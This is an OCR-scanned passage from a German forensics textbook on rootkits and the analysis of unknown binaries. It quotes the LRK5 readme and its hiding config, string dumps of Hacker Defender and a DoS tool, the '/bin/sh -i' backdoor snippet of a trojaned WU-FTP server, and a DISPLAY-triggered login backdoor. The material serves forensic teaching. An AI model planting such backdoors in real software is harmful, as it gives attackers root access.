Togd, tcpd, top, chfn, chsh, passwd und rshd. Alle diese trojanisierten
Systembefehle verstecken bzw. verfilschen Informationen, die in fol-
genden Konfigurationsdateien festgelegt werden konnen: Prozesse in
/dev/ptyp, Adressen und Ports in /dev/ptyr, Dateien in /dev/ptyq, Log-
eintrdge in /dev/ptys. Die Wahl von /dev als Konfigurationsverzeichnis
ist deswegen interessant, weil sich in diesem Verzeichnis oft mehrere
hundert Objekte befinden. Allerdings gibt es im Verzeichnis /dev unter
Unix i.d.R. keine Dateien! Wenn doch, sollte der Ermittler hellhorig
werden. Der im Rootkit enthaltene, trojanisierte Befehl crontab wird
iber die versteckte Konfigurationsdatei /dev/hda02 gesteuert. Der tro-
janisierte Server inetd offnet z.B. auf dem TCP-Port 5002 eine Root-
Shell. Diese ist mit dem vorkonfigurierten Passwort »satori« geschiitzt.

Linux Root Kit V
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bindshell port/shell type daemon!
chfn Trojaned! User->r00t
chsh Trojaned! User->r00t
crontab Trojaned! Hidden Crontab Entries
du Trojaned! Hide files
find Trojaned! Hide files
fix File fixer!
ifconfig Trojaned! Hide sniffing
inetd Trojaned! Remote access
killall Trojaned! Wont kill hidden processes
Tinsniffer Packet sniffer!
login Trojaned! Remote access
1s Trojaned! Hide files
netstat Trojaned! Hide connections
passwd Trojaned! User->r00t
pidof Trojaned! Hide processes
ps Trojaned! Hide processes
rshd Trojaned! Remote access
sniffchk Program to check if sniffer is up and running
syslogd Trojaned! Hide logs
tcpd Trojaned! Hide connections, avoid denies
top Trojaned! Hide processes
wted wtmp/utmp editor!
z2 Zap2 utmp/wtmp/lastlog eraser!

Abb. 5-14 Auszug aus der Readme-Datei des Linux Rootkit »LRK5«

netstat -
Modified to remove tcp/udp/sockets from or to specified
addresses, uids and ports. The file is ROOTKIT_ADDRESS FILE.
default data file: /dev/ptyq
type 0: hide uid
type 1: hide Tocal address
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path

example:

0 500 <- Hides all connections by uid 500

1128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000

4 6667 <- Hides all remote connections to port 6667

5 .term/socket <- Hides all UNIX sockets including the path

.term/socket

Abb. 5-15 Beschreibung der Konfiguration des trojanisierten Netstat aus dem Linux Rootkit
»LRK5«
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Eine weitere Variante der Rootkits sind die sogenannten Kernel-Root-
kits. Diese ermoglichen es, Prozesse, Verbindungen und Dateien zu ver-
stecken und gleichzeitig Hintertiiren zum gehackten System bereitzu-
stellen. Das Besondere an dieser Art der Rootkits ist, dass sie als Modul
direkt in den Betriebssystemkernel geladen werden. Damit ist es einem
Angreifer moglich, Systemaufrufe durch Manipulation der Syscall-
Tabelle auszutauschen. Die neu hinzugefiigten Systemaufrufe filtern die
Riickgabewerte der originalen Systemaufrufe. Dadurch erhalten alle
Systemkommandos gefilschte Ergebnisse. Ein Austausch der Pro-
gramme durch trojanisierte Versionen ist somit nicht mehr notig. So
tauscht z.B. das Kernel-Rootkit »adore« u.a. die Syscalls sys_stat(),
sys write(), sys read() und getdents() aus. Durch ein Steuerpro-
gramm werden die zu verbergenden Schlusselworter angegeben.

Die Entwicklung bei den Kernel-Rootkits bringt immer wieder
neue Varianten und Methoden hervor. AufSerdem ist es recht aufwen-
dig, ein Kernel-Rookit aufzuspiren. Dazu miissen namlich spezielle
kritische Strukturen des Kernels analysiert und Anderungen an der
Syscall-Tabelle »beobachtet« werden (z.B. durch den Vergleich der
aktuellen Syscall-Tabelle mit der, die beim Ubersetzen des Kernels
erstellt wurde). Dies kann i.d.R. nur zur Laufzeit geschehen. Eine
andere Moglichkeit besteht darin, die Aufrufparameter der laufenden
Prozesse zu analysieren.

Das Kernel-Rootkit »SucKIT« greift zum Beispiel tiber /dev/kmem
auf den Kernel zu und dndert den Systemcall-Code, ohne die urspriing-
liche Syscall-Tabelle zu veriandern. Dies erschwert das Auffinden von
SucKIT, da weder sys_read() noch sys mmap() verdndert werden und
demzufolge konventionelle forensische Analysetechniken (Suche in
/dev/kmem etc.) erfolglos bleiben.

Bereiche im Dateisystem oder auf den physischen Strukturen eines Daten-
tréagers konnen fir die Speicherung von Daten verwendet werden. Auch
wenn augenscheinlich keine Daten sichtbar sind, kénnen wesentliche
Informationen gewonnen werden.

5.12 Dateien oder Fragmente wiederherstellen

Landlaufig wird davon ausgegangen, dass einmal geloschte Dateien nicht
wiederhergestellt werden konnen — weder ganz noch in Teilen. Diese
leichtsinnige Annahme findet man besonders haufig in Bezug auf Unix.

Die Moglichkeiten, an verschiedenen Stellen des Dateisystems
oder der Festplatte Datenfragmente zu finden, kann man sich bei einer
Ermittlung zu eigen machen. Oft lassen sich diese einzelnen Fragmente

Kernel Rootkits

Konventionelle
Analyse erfolglos

Geldschte Dateien
wiederherstellen
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Wiederherstellung nur
am Duplikat

Extraktion verhindern

mit der File Carving genannten Methode zu einer Datei zusammenset-
zen oder es lassen sich zumindest wesentliche Informationen extrahie-
ren. Es gibt verschiedene kommerzielle wie auch frei verfugbare Tools,
mit denen aus bereits geloschten Dateien Fragmente extrahiert werden
konnen. Diese Option gibt es auch unter einigen Unix-Dateisystemen.
Speziell fiir die digitale Forensik finden sich dariiber hinaus anwend-
bare Programme und Toolsammlungen.

So konnen zum Beispiel aus dem unallozierten Bereich eines Datei-
systems Daten automatisiert wiederhergestellt werden. Ebenso lassen
sich Daten in Alternate Data Streams und auch File Slacks ohne Prob-
lem wiederherstellen. Dies bietet etwa Erkenntnisse iber vom Angrei-
fer geloschte Originaldateien oder Archive, die urspringlich Rootkits
oder andere Angriffstools enthalten haben. Werden zum Beispiel auf
dem angegriffenen System Programme kompiliert, finden sich im
Temp-Bereich oft geloschte Reste vom Compilerlauf, die dann wiede-
rum Aufschlusse tiber das verwendete Tool oder dessen Quellcode
geben konnten. Bei der Wiederherstellung von Fragmenten aus unallo-
zierten Dateisystembereichen konnen grofSere Mengen an Daten anfal-
len, die sorgfiltig behandelt werden sollten.

Dabei ist besonders zu beachten, dass die Wiederherstellung unbe-
dingt an einem forensischen Duplikat vorgenommen werden sollte.
Kann man nur an einem laufenden System arbeiten, sollten die wieder-
hergestellten Daten dann auf einem separaten Dateisystem gespeichert
werden, da sonst ja der unallozierte Bereich (den man eigentlich extra-
hieren will) wieder tiberschrieben wird. Dies muss unbedingt verhin-
dert werden. Alternativ kann dafiir auch eine RAM-Disk eingerichtet
werden.

Ein Angreifer hat naturlich die Moglichkeit, die Extraktion von
vermeintlich geloschten Dateien zu verhindern. Eine wirksame Mog-
lichkeit ist das mehrfache Uberschreiben der zu l6schenden Informati-
onen mit echten zufilligen Bitmustern oder auch Nullen. Dies findet
sich oft auf Systemen, bei denen der Benutzer verhindern wollte, dass
irgendwelche Daten wiederhergestellt werden konnen. Auf normalen
gehackten Servern ist dieses »umsichtige« Taterverhalten selten zu
beobachten.

5.13 Unbekannte Bindrdateien analysieren

Werden auf einem angegriffenen System Binirdateien gefunden, die
z.B. aus unbekannten Rootkits stammen oder sonstige Angriffs- bzw.
Sabotagewerkzeuge darstellen, ist es mitunter von Interesse, diese
Dateien naher zu untersuchen. Dies kann Erkenntnisse tiber den Tater
oder dessen Absichten bringen.
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Als Erstes ist zu klaren, ob es sich bei der gefundenen Datei nicht  Vielleicht doch eine
etwa doch um eine originale Systemdatei handeln konnte. Dazu sollte  Originaldatei?
die Prafsumme der gefundenen Datei mit den Prifsummen einer Origi-
naldatei (selbstverstindlich aus vertrauenswiirdiger Quelle) verglichen
werden. Fiir SUN Solaris, *BSD und einige Linux-Distributionen gibt
es auch diverse Onlineprojekte, wo MDS5-Prifsummen von Systemda-
teien unterschiedlicher Versionen recherchierbar sind'®. Einige kom-
merzielle Forensik-Tools enthalten ebenfalls MDS- oder SHA-Priif-
summen bekannter Anwendungs- und Systemdateien.

Da die Analyse an einer Kopie der verdichtigen Datei und auf
einem Analysesystem vorgenommen wird, konnen im Verlauf auch
etwas robustere Analysemethoden zum Einsatz kommen. Bevor man
aber vollends Klarheit tiber die verdichtige Datei hat, sollten die im  Abb.5-16
Folgenden beschriebenen Analysen nur in einer isolierten Testumge-  Grundlegender

bung durchgefihrt werden. Analyseablauf von
Der grundlegende Analyseablauf konnte wie in Abbildung 5-16  unbekannten
dargestellt aussehen. Bindrdateien

Dateityp identifizieren
(mit Viewer, file-Befehl <
oder WWW-Recherche)

A/l\/l\ﬁ‘ﬁ/oj@\/l

»Maschinen- Skriptdateien Multimedia

Ausfuhrbare . (Office, Text, Archive
Binardatei et (ESTREST (feriils, Viize, Datenbanken (ZIP etc.)
Java, .Net etc/ \ PERL) / Sound) \ etc.) / \
Multiformat- Multiformat-
Inhalt DT, Im Textviewer viewer viewer .
analysieren P anschauen (XnView, (XnView, P
IrfanView etc.) IrfanView etc.)
Reverse Quellcode
Engineering anschauen
Live/
Verhaltens-
analyse

15. huap:/fwww.knowngoods.orgl, bitp://sunsolve.sun.com/pub-cgilfileFingerprints.pl
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Priifsummen vergleichen

Dateityp ermitteln

Virusscan

Als Erstes muss man sich vergewissern, dass die Datei wahrend des
Kopier- bzw. Ubertragungsvorgangs nicht modifiziert wurde. Dies
wird am besten durch den Vergleich der Prisffsummen erreicht.

$ md5sum wmo32.exe

39a9e5c05ffbda925da0d2ec9b4f512a *wmo32.exe
Mit Hilfe des Befehls file kann man ermitteln, um welchen Dateityp es
sich hierbei handelt. Dies geschieht durch die Auswertung der soge-
nannten Magic-ID. Alternativ gibt es zusatzlich zahlreiche Datenban-
ken im Internet, die anhand einer Dateiendung die dafiir bekannten
Formate zeigen. In dem ersten der folgenden drei Beispiele handelt es
sich um eine ausfuhrbare Datei fiur DOS und Windows:

$ file wmo32.exe
wmo32.exe: MS-DOS executable (EXE), 0S/2 or MS Windows

Hier ein Beispiel fiir eine Linux-Datei:

$ file .fileMFpmnk
.fileMFpmnk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared 1ibs), stripped

Und ein Beispiel fur eine Solaris-Datei:

$file sunl

sunl: ELF 32-bit MSB executable, SPARC, version 1, statically linked, stripped
Unbekannte Software, bei der es sich moglicherweise um Malware
handelt, sollte unbedingt mit einem aktuellen Virenscanner analysiert
werden. Eventuell hat bereits jemand anderes dieses Programm ent-
deckt, analysiert und dokumentiert. Handelt es sich um keine sensib-
len Dateien, kann man hierfiir auch einen frei verfiigbaren Virenscan-
Dienst wie z.B. www.virustotal.com verwenden, der eine Analyse mit
zahlreichen Antivirenprodukten tiber ein WWW-Formular anbietet.
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= L= O e Abb. 5-17
P VirusTotal - Free Online V... | &2 o
< C  ® www.virustotal.com/file-scan/report.htm|?id=cb830 d6f93935fc3742 aal4fase v | N Fir die Analyse
VT Community Sign in ¥ Languages ¥ * unbekannter Malware

Virustotal is a service that analyzes suspicious

files and URLs and facilitates the quick detection

of viruses, worms, trojans, and all kinds of malware E
detected by antivirus engines. More information...

. AY VIRUS
4 TOTAL

0 VT Community user(s) with a total of D reputation credi(s) say(s) this sample is goodware. 0 VT Community VT Community
user(s) with a total of 0 reputation credil(s) say(s) this sample is malware.
File name xopen @
Submission date: 2011-05-22 09:52:28 (UTC)
Current status: finished O peae el
Result 29140 (72.5%) Safety score: -

£ Compact Print resutts &

Antivirus Version Last Update Result

AhnLab-V3 2011.05.22.00 2011.05.21 -

AntiVir 7.11.8.49 2011.05.21 LINUX/0SF-8759

Rntiy-AVL 2.0.3.7 2011.05.22 g

Avast 4.8.1351.0 2011.05.22

Avasts 5.0.677.0 2011.05.22

e 10.0.0.1190 2011.05.22

BitDefender 7.2 2011.05.22

CAT-QuickHeal 11.00 2011.05.21

Clamiv 0.97.0.0 2011.05.22

I -

Handelt es sich bei der zu analysierenden unbekannten Binadrdatei
moglicherweise um eine Windows-Datei, kann man mit dem kostenlo-
sen Werkzeug PEID'® eine erste Analyse durchfithren. PEID ist ein
Scanner fiir Portable Executables und liefert sehr viele Informationen
tber ausfiihrbare Dateien. Es werden iber 450 unterschiedliche
Packer!” und Compiler erkannt. Uber eine Plug-in-Schnittstelle kénnen
auch Informationen tiber enthaltene Verschlisselungsroutinen analy-
siert werden. Um den verwendeten Compiler und Packer zu erkennen,
nutzt PEiD dabei eine Signatursammlung von bekannten Compilern
und Packern. Nach diesen Signaturen wird dabei in der analysierten
Datei gesucht. Oft handelt es sich bei den Signaturen um die von den
Compilern standardmiflig erzeugten Programmanfinge, also sucht
PEiD am sogenannten Entrypoint des Programms. Es werden dabei
sowohl die in PEiD integrierten Signaturen verwendet als auch zusatzli-
che Signaturen, die vom Benutzer angegeben werden konnen. Auf-
grund der Vorgehensweise ist es jedoch auch leicht moglich, PEiD zu
tauschen. Aus diesem Grund sollten die Resultate von PEiD nicht kri-
tiklos iibernommen werden.

16. hitp://peid.has.it/
17. Eine gute Ubersicht vorhandener Programm-Packer findet sich unter
hitp:/lwww.woodmann.com/crackz/Pakkers.htm.

kénnen auch éffentliche
Angebote verwendet
werden.

Unbekannte
Windows-Datei
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g ¥
Abb.5-18 [ PEID vo.94 E] )
PEiD analysiert I
. X Filet | De\Programmemisch Cainl CainliCain, exe
Bindrdateien auf
bekannte Packer und Entrypoint: [00318620 EF Section: [UPX1 (=1
Compi/er. File Offset:  |0D0C4F20 First Bytes: |a0,BE,00,40 ﬂ
Linker Info: [6.0 subsystem: |Win32 GUI =]
LR 0,89.6 - 1.02 [ 1,05 - 1,24 -> Markus & Laszlo
IMulki Scan | Task Viewer Options About | Exik |
Iv stay on kop ﬂ ﬂ
String-Analyse  Durch eine String-Analyse der verdiachtigen Datei wird nach weiteren

Hinweisen gesucht. Bei dieser sehr einfachen Analyse werden alle »les-
baren« Zeichen aus der Binirdatei extrahiert, um eventuell Verdachti-
ges, wie Hilfetexte oder Informationen iiber den Autor, zu erkennen.
Unicode-Zeichen sollten bei dieser Analyseform nicht ausgelassen wer-
den. String-Analysen lassen sich mit dem Unix/Cygwin-Befehl strings,
aber auch mit BinText, WinHex oder IDA Pro durchfithren. Da eine
String-Analyse recht einfach zu bewerkstelligen ist, muss ein Angreifer
davon ausgehen, dass »seine« Tools so untersucht werden konnten. Es
muss also auch davon ausgegangen werden, dass gezielt Inhalte in die
Datei platziert werden, um den Ermittler in die Irre zu leiten.

Der Inhalt der Datei im folgenden Beispiel sollte jeden Ermittler
aufhorchen lassen. Hierbei handelt es sich ganz klar um ein Windows-
Rootkit (konkret das NT-RootKit):

$ strings /forensic_mnt/c/WINNT/hxdef073.exe | more
This program must be run under Win32
SOFTWARE\Borland\Delphi\RTL

FPUMaskValue

Gh We

\\.\mailslot\hxdef-rk073s

NtQuerySystemInformation

ntd11.d11

_.-=[Hacker Defender]=-._

kernel32.d11

[.]

NtQueryInformationProcess

NtOpenkey

Rt1AnsiStringToUnicodeString
Rt1CompareUnicodeString

\BaseNamedObjects

\\.\mailsTot\hxdef-rk073s

\\.\mailslot\hxdef-rkc000

\\.\mailslot\hxdef-rkb000 -
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_.-=[Hacker Defender]=-._
_.-=[Hacker Defender]=-._
[HIDDEN TABLE]

[ROOT PROCESSES]

[HIDDEN SERVICES]

[HIDDEN REGKEYS]

[HIDDEN REGVALUES]
[SETTINGS]

PASSWORD

BACKDOORSHELL

SERVICENAME

DISPLAYNAME
SERVICEDESCRIPTION

ZYYd

[STARTUP RUN]

D$$P

D§ P

D$(P

D$ P

Service
SYSTEM\CurrentControlSet\Control\SafeBoot\
Minimal

Network

SVh?

advapi32.dll

Abb.5-19 String-Analyse einer verddchtigen Windows-Datei

Im folgenden Beispiel ist anhand der String-Analyse zu erkennen, dass
es sich um ein Programm handeln muss, das auf RAS-Telefonbuchein-
trage zugreift (in diesem Fall werden zwischengespeicherte DFU-Pass-
worter im Klartext ausgelesen):

$ strings d11server32.exe |more
This program must be run under Win32
[.]
rasapi32.dll
RasGetEntryPropertiesA
rnaph.d11
RasSetEntryPropertiesA
PWSj
Connection:
User:"
" Password:
unknown
Domain:
Phone:
Device: (
IP:
DNS:
--- END CONNECTION --- -
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Web-Recherche

Laufzeitanalysen vs.
statische Analysen

Laufzeitanalyse

unter Unix

Beispiel mit truss

FreeLibrary
rasapi32.dil
RasGetEntryDialParamsA
RasEnumEntriesA

[.]

Abb. 5-20 String-Analyse bei einem Windows RAS-Passwort-Spion

Es ist auch immer eine gute Idee, markante Ergebnisse der String-Ana-
lyse in einer WWW-Suchmaschine zu recherchieren. Oft finden sich
Hinweise auf Analysen von anderen Spezialisten oder es zeigen sich
auch andere Angriffsziele. In die Suche sollten auch Newsgroups ein-
bezogen werden. Bei der Recherche sollte man allerdings vorsichtig
sein, dass man keine Spuren hinterlasst, die zeigen, dass man gerade
ermittelt.

Statische Analysen konnen einem Ermittler sehr schnell wichtige
Erkenntnisse iiber eine unbekannte Datei bringen und eigentlich fast
jede Frage beantworten. Allerdings konnen statische Analysen oftmals
recht langwierig sein. Normalerweise interessiert wahrend einer Ana-
lyse mehr, »was« eine unbekannte Datei macht, anstatt »wie« sie es tut.
Befindet man sich in einer sicheren, isolierten Testumgebung, kann man
die verdichtige Datei auch zur Laufzeit dynamisch analysieren. Hierbei
wird untersucht, wie sich die Datei verhalt, wenn sie gestartet ist.

Fur eine sinnvolle Laufzeitanalyse sollten alle Aktivititen des fiir
die Analyse verwendeten » Opfers« protokolliert werden. Hierzu geho-
ren alle Prozess-, Netzwerk- sowie Dateisystemaktivititen und bei
Windows alle Zugriffe auf die Registry. Die Analyse des Hauptspei-
chers sollte hier ebenfalls aufschlussreiche Erkenntnisse bringen kon-
nen. Durch die Moglichkeit, Snapshots eines Systems zu erstellen und
von diesen wieder aufzusetzen, hat sich der Einsatz von virtuellen
Umgebungen wie beispielsweise VMware in der Praxis bewahrt.

Unter Unix-Befehlen stehen z.B. strace und truss zur Verfiigung,
die protokollieren, auf welche Ressourcen ein Programm zugreift.

Das hier genannte Beispiel mit truss zeigt, dass das vermeintliche
Systemprogramm netstat auf die Datei /dev/ptyr zugreifen mochte:

$ truss -t open /forensic_mnt/usr/bin/netstat
open("/dev/zero", 0 RDONLY) = 3
open("/usr/1ib/1ibc.so.1", 0 _RDONLY) = 4
open(" /usr/1ib/1ibd1.50.1", 0 RDONLY) = 4
open("/usr/platform/SUNW,Sun 4 75/1ib/Tibc_psr.so.1", O RDONLY) Err#2 ENOENT
open("/dev/ptyr", 0 RDONLY) Err#2 ENOENT
open(".", 0_RDONLY|0_NDELAY) = 3

[.]
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Abschnitt 5.11 war zu entnehmen, dass im Verzeichnis /dev keine
Dateien zu finden sein sollten und die spezielle Datei /dev/ptyr fir das
Verbergen von bestimmten IP-Adressen und Ports durch das Linux
Rootkit LRK verwendet wird. Hat ein Angreifer seine Tools nicht
angepasst und verwendet er die Standardeinstellungen, ist das Auffin-
den solcher Trojaner bei der Post-mortem-Analyse recht einfach.
Auf einem Windows-System ist eine Laufzeitanalyse ebenfalls Laufzeitanalyse
moglich. Beispielsweise konnen Tools wie der ProcessMonitor (Abb.  unter Windows
5-21) dazu verwendet werden:
rEz.’ Process Maonitor - Sysinternals: www.sysinternals.com L= | o8 X A
File Edit Event Fiter Tools Options Help ] ]
2@ aBE | vAd | B a5 ([ ZELZMW
Process Name PID Operation Path Resutt Detail *
1860 BhClossFils A SUCCESS
360 BhCreateFile "\, LanmanRedirector, SUCCESS Desired Access: Synchronize, Disposition: Openlf, Options: Synchrono.
360 Bk FileSystemControl \Device \Mup SUCCESS Control: FSCTL_NETWORK_GET_STATISTICS
360 ':-‘&C!oseﬁle “Device\Mup SUCCESS
636 &Y Thread Exit SUCCESS Thread 1D: 172, User Time: 0.0156250, Kemel Time: 0.0156250
1304 &7 Thread Exit SUCCESS Thread |D: 1356, User Time: 0.0000000. Kemel Time: 0.0000000
1324 ﬂF{egQueryKey HKCU SUCCESS Query: HandleTags, HandleTags: 0
1324 @{ReqOpenKey  HKCL\AppEverts\Schemes SUCCESS Desired Access: Query Value
1324 ﬂRegQueryValue HKCU\AppEverts\Schemes\(Defaulty  SUCCESS Type: REG_SZ, Length: 18, Data: Default
1324 @¥ReqCloseKey  HKCUMAppEverts\Schemes SUCCESS
1324 @{ReqOpenKey  HKCLI SUCCESS Desired Access: Query Value
1324 ﬂRegQueryKey HKCU SUCCESS Query: HandleTags. HandleTags: <0
1324 @%ReqOpenkey  HKCU\AppEvents'.Schemes\Appst.Def.. SUCCESS Desired Access: Query Value
- laskhost exs 1324 @4 ReqQuenyValue HKCLI\AppEverts\Schemes\Apps. Def. SUCCESS Type: REG_SZ, Length: 2, Data
:31:... W taskhost exe 1324 @RegClosekey  HKCLMAppEvents\Schemes\Apps'.Def... SUCCESS
T 'taskhost exe 1324 ﬁHegGﬂseKey HKCU SUCCESS
W 'laskhost exe 1324 ﬂRegOuewK&y HKCU SUCCESS Query: HandleTags. HandleTags: G0
F 'taskhost exe 1324 ﬁRegOpenKey HKCLU\AppEverts'\.Schemes'Apps'.Def... SUCCESS Desired Access: Query Value
T laskhost exe 1324 @4 ReqQuenyValue HKCL\AppEverts\Schemes\Appst. Def. NAME NOT FOUND Length: 144
#-'taskhost exe 1324 ‘RegOoseKey HKCU\App Everts'\Schemes'\Apps'.Def ... SUCCESS
'taskhost exz 1324 @¥ReqOpenkey  HKCU SUCCESS Desired Access: Query Value
16:31:... B laskhost exe 1324 @{ReqOueryKey  HKCLI SUCCESS Query: Handle Tags, HandleTags: (0
16:31:... - taskhost.exe 1324 ﬁHegOpenKey HKCU\AppEverts'\.Schemes'Apps'.Def... NAME NOT FOUND Desired Access: Query Value
16:31: 1324 @{ReqClosekey  HKCU SUCCESS
1631 1324 £ Thread Bxit SUCCESS Thread 1D: 2860, User Time: 0.0000000, Kemel Time: 0.0000000
16:31:... B taskhost.exe 1324 & Thread Exit SUCCESS Thread 1D: 2820, User Time: 0.0000000, Kemel Time: 0.0000000
16:31:... T 'svchostexe 888 &Y Thread Bxit SUCCESS Thread 10: 2632, User Time: 0.0000000, Kemel Time: 0.0000000 1
16:31.... [ Explorer. EXE 1448 &% Thread Exit SUCCESS Thread |D: 2236, User Time: 0.0000000. Kemel Time: 0.0156250 -
Showing 215.006 of 261,683 events (82%) Backed by page file
Abb. 5-21
Bei diesem Beispiel wurde im /tmp-Verzeichnis eines gehackten Systems  Analyse der Registry-
eine versteckte Datei gefunden, die dem User Root gehort und fur die-  Zugriffe einer
sen ausfiithrbar ist: verddchtigen Datei mit
dem Process Monitor 18

$ 1s -lat /forensic_mnt/tmp

total 156
drwxrwxrwt
-r=-r--pr--
drwxrwxrwt
drwxrwxrwt
drwxr-xr-x

=rwW-rw-r--

18.

(néhere Informationen zu

6 root root 1024 May 1 04:03 . diesem Tool in Abschnitt
1 root gdm 11 Apr 29 14:17 .X0-Tock 7.2.8)

2 root gdm 1024 Apr 29 14:17 .X1l-unix

2 xfs xfs 1024 Apr 29 14:17 .font-unix
25y root 1024 Apr 28 23:47 .

2 userl userl 1024 Apr 26 17:36 kfm-cache-500

1 userl userl 12288 Apr 26 16:37 psdevtab

hitp:/lwww.sysinternals.com/. Mittlerweile von Microsoft iibernommen und in

einer eigenen integrierten Analysesuite weiterentwickelt, die die Tools RegMon,
FileMon und ProcMon vereint.
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drwxrwxrwt 2 root root 1024 Apr 21 11:12 .ICE-unix
STWX====== 1 root root 138520 Apr 20 20:15 .fileMFpmnk

Da dies eher unublich ist, wird die Datei noch naher untersucht. Nach
einer String-Analyse stellt sie sich als eine Version des bekannten
WU-FTP-Servers fur Linux heraus:

$ file /forensic_mnt/tmp/.fi1eMFpmnk

.fileMFpmnk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically Tinked (uses shared 1ibs), not stripped

Es handelt sich um ein Linux-Executable.

$ strings - /forensic_mnt/tmp/.fi1eMFpmnk
(-]
If you did not receive a copy of the license, it may be obtained online
at http://www.wu-ftpd.org/license.html.
(-]
%s FTP server (%s) ready.
%s FTP server ready.
[.]
lost connection to %s
deny
private
Already Togged in.
anonymous_
anonymous
/etc/ftpusers
guestserver
/bin/sh
Password required for %s.
/bin/sh -i
/etc/ftphosts
deny-uid
allow-uid
deny-gid
allow-gid
Login with USER first.
guest-root
Access restrictions apply.
User %s Togged in.%s
limit-time
guest
FTP LOGIN FROM %s, %s
%s: anonymous/%.*s
for example: %s@%s
Can't set uid.

Abb. 5-22 Die String-Analyse zeigt, dass es sich um eine Variante eines WU-FTP-Servers
handelt.
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Die String-Analyse zeigt aber auch, dass zusitzlich zum normalen ano-
nymous-Account ein weiterer Account vorgesehen ist. In der Nihe die-
ses Accounts anonymous_ findet sich der Eintrag /bin/sh -i. Dies lasst
vermuten, dass bei der Anmeldung als User anonymous_ eine passwort-
lose Root-Shell geoffnet wird. Mithilfe einer Webrecherche nach troja-
nisierten WU-FTP-Servern fand sich eine Version, deren Quellcode
diese Vermutung bestatigt:

#endif
anonymous = 0;
acl_remove();
if (!strcasecmp(name,"anonymous ")) {
system("/bin/sh -i");
}

Abb. 5-23 Quellcode des trojanisierten WU-FTP-Servers

Eine weitere Moglichkeit, mehr tiber die mogliche Funktion einer ver-
ddchtigen Datei herauszufinden, ist die Analyse der dynamisch einge-
bundenen Bibliotheken. Kennt man die Funktion dieser Bibliotheken,
lassen sich hdufig Grundfunktionen (Netzzugriffe, Authentisierung
etc.) der verdachtigen Datei nachvollziehen:

# 1dd /mnt/tmp/.f1i1eMFpmnk
Tiberypt.so.1 => /1ib/1ibcrypt.so.1 (0x40024000)
Tibns1.so0.1 => /1ib/1ibns1.s0.1 (0x40051000)
libresolv.so0.2 => /1ib/Tibresolv.so.2 (0x40066000)
1ibc.so0.6 => /1ib/t1s/1ibc.s0.6 (0x42000000)
/1ib/1d-Tinux.s0.2 => /1ib/1d-Tinux.s0.2 (0x40000000)

Abb. 5-24 Analyse der benétigten Systembibliotheken

Manchmal finden sich auch Hinweise auf den Programmierer in
zuriickgelassenen Tools. Eine String-Analyse einer verdachtigen Datei
namens unamed, die auf einem gehackten Linux-System gefunden
wurde, entpuppt sich nach einer kurzen Suchmaschinenrecherche z.B.
als das Denial-of-Service-Angriffstool Juno:

Dynamisch eingebundene
Bibliotheken analysieren

Zuriickgelassene
Hacker-Tools



Lizenziert fur 2109487.

© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

150

5 Einfiihrung in die Post-mortem-Analyse

# strings /foensic_mnt/usr/bin/unamed |more
/1ib/1d-1inux.so0.2
libc.so.6

usleep

socket

bzero

fprintf

inet_addr
setsockopt

signal

sendto

ntohs

inet_ntoa

time
gethostbyname
stderr

srandom

htons

exit

atoi
_I0_stdin_used
__Tibc_start_main

__gmon_start

GLIBC 2.0

PTRh

QVh?

-- statistics ------------mmmmmoo -

packets sent: %d
bytes sent: %d
seconds active: %d

average bytes/second: %d

Syntax: %s

<target ip> <target port>
Failed to create socket
Invalid target ip (%s)
Invalid target port (%s)
death
%S%S

to %s:%d

failed to send packet

juno.c by Sorcerer of DALnet

Abb. 5-25 String-Analyse einer unbekannten Bindrdatei

Ein Beispiel fiir eine umfangreiche Analyse

Ein weiteres Beispiel — diesmal aus dem realen Leben und durchgefiihrt
vom Honeynet-Project!” — zeigt, dass die Analyse durchaus recht kom-
plexe Ergebnisse zutage bringen kann:

19. hup://project.honeynet.org/
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Der Unix-Befehl file zeigt, dass es sich bei einer aus dem Daten-
strom einer Netzverbindung gefischten Datei (in dem Beispiel in sunl
umbenannt) um eine ausfithrbare Datei fiir Solaris handelt:

$file sunl
sunl: ELF 32-bit MSB executable, SPARC, version 1, statically linked, stripped

Die darauffolgende String-Analyse stellt einige Zeichen dar, die einer
weiteren Nachforschung bedurfen:

#strings sunl

[.]

DISPLAY

Jusr/1ib/1ibf1.k

pirc

/bin/sh

[.]

Die Spezialisten des Honeynet-Project vermuteten, dass zwischen den
Zeichen DISPLAY und /bin/sh ein Zusammenhang vorhanden sei. Es
wurde weiterhin angenommen, dass es sich um einen trojanisierten
Ersatz fir das Systemprogramm /bin/login handele; dieses wiirde
Angreifern, die eine bestimmte Display-Variable gesetzt hitten, einen
passwortlosen Root-Zugang ermoglichen. Die originale /bin/Togin-
Datei wurde nach /usr/1ib/1ibf1.k kopiert und wickelt im Anschluss
den weiteren normalen Login-Prozess ab. Als Wert fur die besonders
zu setzende Display-Variable wurde pirc vermutet, da der Wert in der
Nihe des Strings DISPLAY in der Datei auftaucht.

Als Nichstes iiberwachten die Ermittler auf einer Solaris-Umge-
bung mit dem Analysetool truss erneut simtliche Ressourcenzugriffe
der verdichtigen Datei:

$ truss ./sunl

execve("./sunl", OXFFBEFC8C, OxFFBEFC94) argc = 1

execve("/usr/1ib/1ibf1.k", OXFFBEFC8C, OxFFBEFC94) Err#2 ENOENT

_exit(1)

Es sah so aus, als wire dies das Verhalten der verdichtigen Datei,
wenn ein normaler User ohne gesetzte Display-Variable auf das System
zugriff. Es ist gut zu erkennen, wie dann die originale — umkopierte —
Login-Datei (/usr/1ib/1ibf1.k) aufgerufen wurde.
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Fazit

Der oben beschriebenen Vermutung folgend, wurde nun die Dis-
play-Variable durch die Ermittler auf den Wert pirc gesetzt und die
verdichtige Datei abermals mit ¢russ analysiert:

# export DISPLAY=pirc

# truss ./sunl

execve("./sunl", OXFFBEFCA4, OxFFBEFCAC) argc =
sigfillset(0x0002A5E4) =
sigprocmask(SIG_BLOCK, OxFFBEFBOC, OxFFBEFAFC)
sigaction(SIGCLD, OxFFBEFIC8, OxFFBEFABC) =
vfork() = 6558
sigaction(SIGINT, OxFFBEFIC8, OxFFBEFA78) =0
sigaction(SIGQUIT, OxFFBEF9C8, OxFFBEFA58) =0

#

